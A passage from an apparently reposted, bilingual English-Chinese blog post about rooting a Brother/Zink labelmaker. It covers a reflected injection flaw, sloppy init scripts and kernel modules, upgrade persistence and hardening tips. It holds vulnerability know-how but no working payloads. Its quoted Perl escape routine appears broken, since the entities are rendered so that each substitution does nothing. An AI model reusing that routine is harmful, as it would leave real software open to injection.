更进一步,writeToFile 决定如何处理输入。如果名称是 NextPage,则设置一个变量,无需进行任何进一步的检查……嘿,你闻到有东西烧了吗?
Picture 15 – oops, i’m in the response body
图片 15 – 哎呀,我在响应正文中
NextPage is vulnerable to data injection! It’s reflected, so we don’t gain much – but it’s still funny to see.
NextPage 容易受到数据注入的影响!它被反射出来了,所以我们没有得到太多——但看到它仍然很有趣。
sub changeEscapeStr {
my $str = $_[0];
$str =~ s/&/&/g;
$str =~ s/</</g;
$str =~ s/>/>/g;
$str =~ s/"/"/g;
$str =~ s/'/'/g;
$str =~ s/\*/*/g;
# $str =~ s/&/\\&/g;
return $str;
}
/etc/www/cgi-bin/postdata; poor man’s html string escape
/etc/www/cgi-bin/postdata;穷人的 HTML 字符串转义
Somehow, even with all of those issues, we still don’t get a free RCE. In a few places, the firmware gets narrowly saved by quotes, and in at least one place by parameter splitting. It’s still not good code, tho.
不知何故,即使存在所有这些问题,我们仍然没有得到免费的 RCE。在一些地方,固件通过引号勉强保存,在至少一个地方通过参数拆分保存。它仍然不是好代码,呵呵。
.ko‘s in /etc .ko 在 /etc 中
Perhaps the most eyebrow-raising part of this whole adventure was seeing how messy and cluttered the base image was. Constructs like /etc/www, messy symlinks interconnecting different directories for seemingly no reason, things thrown around with zero understanding of how everything works, etc.
也许整个冒险中最令人瞠目结舌的部分是看到基本图像是多么凌乱和混乱。像 /etc/www 这样的结构,无缘无故地连接不同目录的混乱符号链接,对一切工作原理一无所知的东西,等等。
Picture 16 – base tgz, listing of /etc/. Notice the first two files.
图片 16 – base tgz,/etc/ 列表。请注意前两个文件。
For the uninitiated, ko files are Kernel Objects, aka kernel modules. In very short terms, modules extend capabilities of the kernel, and allow it to talk to additional devices (so, they’re technically drivers2). On usual systems, they reside somewhere in /lib/modules/ in a specific agreed-upon directory structure, where they’re loaded by a process that listens to hardware changes. /etc is… quite the unusual place for a kernel module.
对于外行来说,ko 文件是内核对象,又名内核模块。在很短的时间内,模块扩展了内核的功能,并允许它与其他设备通信(因此,它们在技术上是驱动程序 2 )。在通常的系统上,它们驻留在 /lib/modules/ 的某个特定商定的目录结构中,在那里它们由侦听硬件更改的进程加载。/etc 是…对于内核模块来说,这是一个非常不寻常的地方。
# Load WiFi module.
excerpt from /etc/init.d/S20zink
if lsusb | grep 0bda:0179 > /dev/null
then
# Brother rtl8188eu
insmod /etc/8188eu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
elif lsusb | grep 0bda:f179 > /dev/null
then
# Brother rtl8188fu ( Gabe's modified version 2/5/2021 )
insmod /etc/8188fu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
else
# hAppy *** obsolete unless we retain WEXT for rtl8188eu
insmod /etc/8192cu.ko
fi
摘自 /etc/init.d/S20zink
One of the init files mentions both of those files, and then one more. While we can’t be exactly sure of the origin of those modules, this GitHub repository is my best guess. The code is licensed under GPL-2.0, and the init file mentions a “modified version”… Do I smell a license violation? :^)
其中一个 init 文件提到了这两个文件,然后又提到了另一个文件。虽然我们不能确切确定这些模块的来源,但这个 GitHub 存储库是我最好的猜测。该代码在 GPL-2.0 下获得许可,init 文件提到了“修改版本”……我是否闻到许可证违规的味道?:^)
Firmware upgrade flow 固件升级流程
I haven’t dug into this as much as I wanted (reason: no spoons); There’s a microPerl script in cgi-bin which handles the downloads, and then /usr/bin/upgrade decrypts and unpacks the image. Of note, old files don’t get deleted, which makes persistency of changes trivial – my sshd still started after a test upgrade :3c
我没有像我想要的那样深入研究(原因:没有勺子);cgi-bin 中有一个 microPerl 脚本来处理下载,然后 /usr/bin/upgrade 解密和解压缩映像。值得注意的是,旧文件不会被删除,这使得更改的持久性变得微不足道 – 我的 sshd 在测试升级后仍然启动:3c
I haven’t had the need to dig into the firmware encryption, so all I know is that the key is hardcoded somewhere in the upgrade executable. Likewise, I only skimmed over the certmgr binary, which sponsored this whole exploit – I leave both of those things as excercises for the reader.
我没有必要深入研究固件加密,所以我所知道的是密钥在升级可执行文件中的某个地方进行了硬编码。同样,我只浏览了 certmgr 二进制文件,它赞助了整个漏洞 – 我把这两件事都留给读者作为练习。
What now? 现在怎么办?
I don’t know! While all of those devices are insecure, they’re (thankfully) quite light on cloud connectivity – beyond fetching updates from AWS S3, it doesn’t look like anything phones home. This limits most of the attack vectors to the local network. Zink clearly doesn’t care about security – not only did they not ship security updates for almost 10 years now, their firmware was vulnerable on release day. Then, there are glaring holes in their own software, with pieces missing or implemented really hastily. This is a textbook example of “S in IoT stands for Security”.
我不知道!虽然所有这些设备都不安全,但它们(谢天谢地)在云连接方面相当轻 – 除了从 AWS S3 获取更新之外,它看起来不像是家里的任何东西。这将大多数攻击媒介限制在本地网络上。Zink 显然不关心安全性——他们不仅在将近 10 年的时间里没有发布安全更新,而且他们的固件在发布当天就容易受到攻击。然后,他们自己的软件中存在明显的漏洞,缺少部分或非常仓促地实施。这是“物联网中的 S 代表安全”的教科书示例。
Having root access, one can implement workarounds for those security issues to make the whole device a little bit less pwnable. So I’d argue that if you have the device – hack it, disable remote CUPS config edit, and disable lighttpd entirely. This should make it secure-ish, at least against the vulns I outlined.
拥有root访问权限,可以针对这些安全问题实施解决方法,使整个设备不那么容易使用。所以我认为,如果你有这个设备 – 破解它,禁用远程 CUPS 配置编辑,并完全禁用 lighttpd。这应该使它安全,至少针对我概述的漏洞。
Myself, I’m in the process of making a small application allowing for direct label printing from a webserver on the device itself, because that will ultimately reduce the amount of times I have to touch CUPS in the future. It’ll get pushed to the exploit repository when it’s ready :3
就我自己而言,我正在制作一个小型应用程序,允许从设备本身的网络服务器直接打印标签,因为这最终将减少我将来接触 CUPS 的次数。当它准备好时,它将被推送到漏洞利用存储库:3
Addendum: Kiesel time! 附录:Kiesel 时间!
During the proofread, Linus reached out to me with a request…
在校对过程中,莱纳斯向我提出了一个请求……
Picture 17 – do NOT give Linus access to your printer
图片 17 – 不要让 Linus 访问您的打印机
I thought they were joking, but not 2 hours later, they show me this:
我以为他们在开玩笑,但不是 2 小时后,他们向我展示了这个:
Picture 18 – has science gone too far? javascript on a labelmaker
图片 18 – 科学走得太远了吗?标签制作器上的 JavaScript
If you’re in a mood for more cursed hacks, there’s a more in-depth blogpost about porting Kiesel to the labelmaker on Linus‘ page. Check it out!
如果您想了解更多被诅咒的黑客,那么 Linus 页面上有一篇关于将 Kiesel 移植到标签制作器的更深入的博文。一探究竟!
Notes: 笔记:
- Copy as cURL – if you don’t know: press F12 right now, go to the network tab and right click any request. you’ll thank me later
复制为 cURL – 如果您不知道:立即按 F12,转到网络选项卡并右键单击任何请求。你以后会感谢我的 - “so, they’re technically drivers” – “technically”, because a kernel module can do virtually anything. meanwhile, if one thinks about drivers, they usually think about interfacing with hardware. writing this before someone nitpicks ;p
“所以,它们在技术上是驱动程序”——“技术上”,因为内核模块几乎可以做任何事情。同时,如果考虑驱动程序,他们通常会考虑与硬件的接口。在有人吹毛求疵之前写这篇文章;p
Huge thanks to ari, Lili, Linus, kleines Filmröllchen, and famfo for proofreading this post!
非常感谢 ari、Lili、Linus、kleines Filmröllchen 和 famfo 校对这篇文章!
原文始发于sdomi:Pwning a Brother labelmaker, for fun and interop!